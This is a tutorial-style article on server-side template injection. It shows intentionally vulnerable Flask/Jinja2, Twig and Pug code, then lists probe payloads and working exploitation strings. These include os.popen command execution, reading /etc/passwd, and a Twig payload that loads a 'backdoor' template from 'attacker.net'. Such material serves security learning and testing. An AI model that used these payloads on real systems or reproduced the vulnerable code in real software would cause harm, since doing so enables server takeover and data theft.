SSTI, or server-side template injection, happens when attackers use the structure of templates to insert harmful code that is then executed on the server. The problem lies in the way templates are made, as they combine fixed templates with dynamic data. SSTI vulnerabilities occur when user inputs are included directly in the template instead of being separated as data. This mistake allows malicious individuals to add their own template commands, potentially giving them complete control over the server.
To illustrate, consider the following susceptible code:
$output = $twig->render("Dear " . $_GET['name']);
Here, the template is dynamically crafted using the ‘name’ GET parameter. Given that the template’s syntax undergoes server-side assessment, this opens a gateway for attackers to inject an SSTI payload within the ‘name’ parameter, as demonstrated below:
http://vulnerable-site.com/?name={{malicious-template-command}}
1. What is a Templating Engine? A templating engine allows you to design a template (a static form) and populate it with dynamic data. In simple terms, think of it as a framework or structure that gets filled with specific data before being presented to the end user.
Example: Instead of writing individual emails for every customer, an administrator can use a template with placeholders. These placeholders get replaced by actual data (e.g., customer name, product details) when the email is generated.
2. The Anatomy of a Template: Templates have distinct syntax and structures. Using the provided example:
{{ name }}
: This is an expression. It acts as a placeholder that displays the value of a variable (in this case, the customer's name).{% for product in cart %}...{% endfor %}
: This is a statement, which performs actions. Here, it loops over each product in the cart.Some key things to note:
{{ }}
and {% %}
symbols that envelop the code. They mark the beginning and end of where the template engine should interpret the content.3. Templating Engines in Web Development: Most templating engines are constructed with web applications in mind. Their core features:
4. Server-side vs. Client-side Rendering: Depending on the application, templates might be rendered on the server-side or client-side:
5. Exploring Various Templating Engines: Different templating engines have varying syntax and functionalities, and they’re designed for specific programming languages. A few examples:
6. The Logic Spectrum in Templating Engines: Some engines provide more logic capabilities than others:
7. Implications of Templating Engine Choice: While logical templating engines provide more flexibility, they can also pose security risks, especially if not used correctly. An insecure templating engine can expose sensitive data or even allow attackers to execute malicious code.
It is a popular Python template engine.
Vulnerable Code example
from flask import Flask, render_template_string, requestapp = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'World')
template = '<h1>Hello, {}!</h1>'.format(name)
return render_template_string(template)
if __name__ == '__main__':
app.run()
Try the payloads below on the suspected injection point [1]:
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Once confirmed, use the below with modifications accordingly to get command execution.
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
For more: <link>
“Twig is a template engine for the PHP programming language. Its syntax originates from Jinja and Django templates.” [2]
Vulnerable code:
<?php
require 'vendor/autoload.php';$loader = new \Twig\Loader\ArrayLoader([
'index' => $_GET['profile_title']
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', []);
?>
Use the below payload to check:
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
To exploit and get info:
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
“PUG is a Javascript library that was previously known as JADE. It is an easy-to-code template engine used to code HTML in a more readable fashion. One upside to PUG is that it equips developers to code reusable HTML documents by pulling data dynamically from the API.” [3]
Vulnerable code:
const express = require('express');
const pug = require('pug');const app = express();
app.set('view engine', 'pug');
app.use(express.urlencoded({ extended: true }));
app.get('/', (req, res) => {
const username = req.query.username || 'Guest';
const template = `h1 Hello ${username}!`;
const html = pug.render(template);
res.send(html);
});
app.listen(3000, () => {
console.log('Server started on http://localhost:3000/');
});
Payload:
#{7*7} = 49
Exploit:
For more information: <link>
You can read about all the remaining ones here: <link>